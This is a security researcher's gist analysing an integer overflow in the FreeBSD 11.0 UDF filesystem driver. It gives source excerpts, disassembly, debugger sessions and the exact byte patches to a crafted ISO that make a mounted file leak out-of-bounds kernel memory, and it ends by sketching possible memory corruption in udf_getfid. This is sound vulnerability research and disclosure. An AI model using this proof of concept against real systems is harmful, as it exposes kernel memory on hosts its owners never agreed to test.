Skip to content

Instantly share code, notes, and snippets.

@CTurt
Last active September 23, 2020 16:19
Show Gist options
  • Save CTurt/a00fb4164e13342567830b052aaed94b to your computer and use it in GitHub Desktop.
Save CTurt/a00fb4164e13342567830b052aaed94b to your computer and use it in GitHub Desktop.
udf info leak
FreeBSD UDF driver info leak
Analysis done on FreeBSD release 11.0 because that's what I had around.
Integer overflow:
https://github.com/freebsd/freebsd/blob/release/11.0.1/sys/fs/udf/udf_vfsops.c#L662
int
udf_vget(struct mount *mp, ino_t ino, int flags, struct vnode **vpp)
{
...
size = UDF_FENTRY_SIZE + le32toh(fe->l_ea) + le32toh(fe->l_ad);
unode->fentry = malloc(size, M_UDFFENTRY, M_NOWAIT | M_ZERO);
We have 3 options, each will have different effects:
- Make l_ea negative,
- make l_ad negative,
- Make l_ea and l_ad maximum possible positive and rely on overflowing by adding UDF_FENTRY_SIZE (176) - 0x7fffffff + 0x7fffffff + 176 = 0x1000000AE which truncates to just 0xae,
Let's go to udf_read to see what we can do:
There are two different paths depending on result of `is_data_in_fentry(node)`, which is under our control. Let's just analyse the simpler case where this returns true:
static inline int
is_data_in_fentry(const struct udf_node *node)
{
const struct file_entry *fentry = node->fentry;
return ((le16toh(fentry->icbtag.flags) & 0x7) == 3);
}
https://github.com/freebsd/freebsd/blob/release/11.0.1/sys/fs/udf/udf_vnops.c#L456
static int
udf_read(struct vop_read_args *ap)
{
...
off_t diff, fsize;
ssize_t n;
int error = 0;
long size, on;
if (uio->uio_resid == 0)
return (0);
if (uio->uio_offset < 0)
return (EINVAL);
if (is_data_in_fentry(node)) {
fentry = node->fentry;
data = &fentry->data[le32toh(fentry->l_ea)];
fsize = le32toh(fentry->l_ad);
n = uio->uio_resid;
diff = fsize - uio->uio_offset;
if (diff <= 0)
return (0);
if (diff < n)
n = diff;
error = uiomove(data + uio->uio_offset, (int)n, uio);
return (error);
}
Consider if fentry->l_ad is 0xfffffffe, then we get diff = 0xfffffffe - 0x7fffffff = 0x7FFFFFFF, which will allow us to read huge amounts of out of bounds kernel memory.
Let's try to trigger the bug. Start by making a UDF ISO:
brew install dvdrtools
mkdir fs
echo "test" > fs/test.asc
mkisofs -dvd-video -o out.iso fs
On the FreeBSD VM load the UDF driver:
# kldload udf
Then get its base address:
# kldstat
We can then load the driver symbols into our kernel debugger:
add-symbol-file kernel/udf.ko 0xffffffff8221c000
The allocation is at *udf_vget + 0x26D:
break *udf_vget + 0x26D
0x60: udf_vget
.text:00000000000002CD mov ecx, [rax+0A8h]
.text:00000000000002D3 mov eax, [rax+0ACh]
.text:00000000000002D9 lea eax, [rcx+rax+0B0h]
.text:00000000000002E0 movsxd r15, eax
.text:00000000000002E3 mov rsi, offset M_UDFFENTRY
.text:00000000000002EA mov edx, 101h
.text:00000000000002EF mov rdi, r15 ; size
.text:00000000000002F2 call malloc
To trigger it we just mount the ISO:
mount -t udf /dev/`mdconfig -f out.iso` /mnt/
When we get to this point, rax points to our controlled file_entry contents, so let's extend l_ad field and change the field to produce desired result of is_data_in_fentry call later:
(gdb) set {short}($rax+0x22) = 3
(gdb) set {int}($rax+0xac) = 0xfffffffe
Then let's break at the calculation of diff:
break *udf_read + 0x66
And trigger the read by executing pread(fd, data, 256, 0x7fffffff):
You can do that by simply using built-in hexdump command:
hexdump -s 0x7fffffff -n 256 /mnt/test.asc
Breakpoint 7, 0xffffffff8221de96 in udf_read ()
1: x/i $rip
=> 0xffffffff8221de96 <udf_read+102>: sub rax,r10
(gdb) info registers rax
rax 0xfffe 65534
(gdb) info registers r10
r10 0x7fffffff 2147483647
Oops, fsize got truncated to 2 bytes instead of 4, since it is the last field and we are allocating UDF_FENTRY_SIZE - 2. The next two out of bounds bytes were 0 so we got 0xfffe instead of 0xfffffffe.
This is actually even better because now we can trigger the bug by just reading from offset 0:
hexdump -n 256 /mnt/test.asc
So now we want to make a real PoC.
Let's break at *udf_vget + 0x26D again and print our file_entry structure:
(gdb) x/174b $rax
0xfffffe000e428800: 0x05 0x01 0x02 0x00 0x8f 0x00 0x00 0x00
0xfffffe000e428808: 0xe3 0xfa 0xa8 0x00 0x02 0x00 0x00 0x00
0xfffffe000e428810: 0x00 0x00 0x00 0x00 0x04 0x00 0x00 0x00
0xfffffe000e428818: 0x01 0x00 0x00 0x04 0x00 0x00 0x00 0x00
0xfffffe000e428820: 0x00 0x00 0x30 0x02 0xff 0xff 0xff 0xff
0xfffffe000e428828: 0xff 0xff 0xff 0xff 0xa5 0x14 0x00 0x00
0xfffffe000e428830: 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xfffffe000e428838: 0x58 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xfffffe000e428840: 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xfffffe000e428848: 0x3c 0x10 0xe4 0x07 0x05 0x18 0x13 0x1e
0xfffffe000e428850: 0x38 0x00 0x00 0x00 0x3c 0x10 0xe4 0x07
0xfffffe000e428858: 0x05 0x18 0x13 0x1e 0x38 0x00 0x00 0x00
0xfffffe000e428860: 0x3c 0x10 0xe4 0x07 0x05 0x18 0x13 0x1e
0xfffffe000e428868: 0x38 0x00 0x00 0x00 0x01 0x00 0x00 0x00
0xfffffe000e428870: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xfffffe000e428878: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xfffffe000e428880: 0x00 0x2a 0x6d 0x6b 0x69 0x73 0x6f 0x66
0xfffffe000e428888: 0x73 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xfffffe000e428890: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xfffffe000e428898: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xfffffe000e4288a0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xfffffe000e4288a8: 0x00 0x00 0x00 0x00 0x08 0x00
We just need to search for that in the ISO image. Sure enough there's only 1 result, at offset 0x82800, so let's make our patches:
0x82800 + 0x22 = 0x82822 -> 03 00
0x82800 + 0xac = 0x828AC -> fe ff ff ff
Triggering the mount again we see our patches in-tact:
x/174b $rax
0xfffffe000e454800: 0x05 0x01 0x02 0x00 0x79 0x00 0x00 0x00
0xfffffe000e454808: 0xc9 0xfc 0xa8 0x00 0x04 0x00 0x00 0x00
0xfffffe000e454810: 0x00 0x00 0x00 0x00 0x04 0x00 0x00 0x00
0xfffffe000e454818: 0x01 0x00 0x00 0x05 0x00 0x00 0x00 0x00
0xfffffe000e454820: 0x00 0x00 0x03 0x00 0xff 0xff 0xff 0xff
0xfffffe000e454828: 0xff 0xff 0xff 0xff 0x84 0x10 0x00 0x00
0xfffffe000e454830: 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xfffffe000e454838: 0x05 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xfffffe000e454840: 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xfffffe000e454848: 0x3c 0x10 0xe4 0x07 0x05 0x18 0x13 0x1e
0xfffffe000e454850: 0x38 0x00 0x00 0x00 0x3c 0x10 0xe4 0x07
0xfffffe000e454858: 0x05 0x18 0x13 0x1e 0x38 0x00 0x00 0x00
0xfffffe000e454860: 0x3c 0x10 0xe4 0x07 0x05 0x18 0x13 0x1e
0xfffffe000e454868: 0x38 0x00 0x00 0x00 0x01 0x00 0x00 0x00
0xfffffe000e454870: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xfffffe000e454878: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xfffffe000e454880: 0x00 0x2a 0x6d 0x6b 0x69 0x73 0x6f 0x66
0xfffffe000e454888: 0x73 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xfffffe000e454890: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xfffffe000e454898: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xfffffe000e4548a0: 0x05 0x01 0x00 0x00 0x00 0x00 0x00 0x00
0xfffffe000e4548a8: 0x00 0x00 0x00 0x00 0xfe 0xff
And the bug triggers without any debugger input when we read from /mnt/test.asc from offset 0 as earlier.
Corruption?
It's common for people to complete their analysis of bugs like this here, overlooking the chance that anything more than information disclosure may be possible. We already control the full contents of that file_entry by design, so the only thing we gain by accessing out of bounds memory instead is information disclosure, right?
Well, whilst it's true that we control the contents of file_entry, the code makes the assumption that after it has been set to our controlled contents it won't change. We invalidate this assumption if the file_entry structure is undersized and its members are out of bounds; out of bounds memory can be changed arbitrarily by unrelated code.
Let's take a look at this code in udf_getfid:
static struct fileid_desc *
udf_getfid(struct udf_dirstream *ds)
{
struct fileid_desc *fid;
int error, frag_size = 0, total_fid_size;
...
if (ds->off + UDF_FID_SIZE > ds->size ||
ds->off + le16toh(fid->l_iu) + fid->l_fi + UDF_FID_SIZE > ds->size){
/* Copy what we have of the fid into a buffer */
frag_size = ds->size - ds->off;
if (frag_size >= ds->udfmp->bsize) {
printf("udf: invalid FID fragment\n");
ds->error = EINVAL;
return (NULL);
}
/*
* File ID descriptors can only be at most one
* logical sector in size.
*/
ds->buf = malloc(ds->udfmp->bsize, M_UDFFID,
M_WAITOK | M_ZERO);
bcopy(fid, ds->buf, frag_size);
/* Reduce all of the casting magic */
fid = (struct fileid_desc*)ds->buf;
if (ds->bp != NULL)
brelse(ds->bp);
/* Fetch the next allocation */
ds->offset += ds->size;
ds->size = 0;
error = udf_readatoffset(ds->node, &ds->size, ds->offset,
&ds->bp, &ds->data);
if (error) {
ds->error = error;
return (NULL);
}
/*
* If the fragment was so small that we didn't get
* the l_iu and l_fi fields, copy those in.
*/
if (frag_size < UDF_FID_SIZE)
bcopy(ds->data, &ds->buf[frag_size],
UDF_FID_SIZE - frag_size);
/*
* Now that we have enough of the fid to work with,
* copy in the rest of the fid from the new
* allocation.
*/
total_fid_size = UDF_FID_SIZE + le16toh(fid->l_iu) + fid->l_fi;
if (total_fid_size > ds->udfmp->bsize) {
printf("udf: invalid FID\n");
ds->error = EIO;
return (NULL);
}
bcopy(ds->data, &ds->buf[frag_size],
total_fid_size - frag_size);
ds->fid_fragment = 1;
The bottom `bcopy` is no longer protected if calculation of `total_fid_size` uses different `le16toh(fid->l_iu)` value than was checked in the `if` statement at the beginning.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment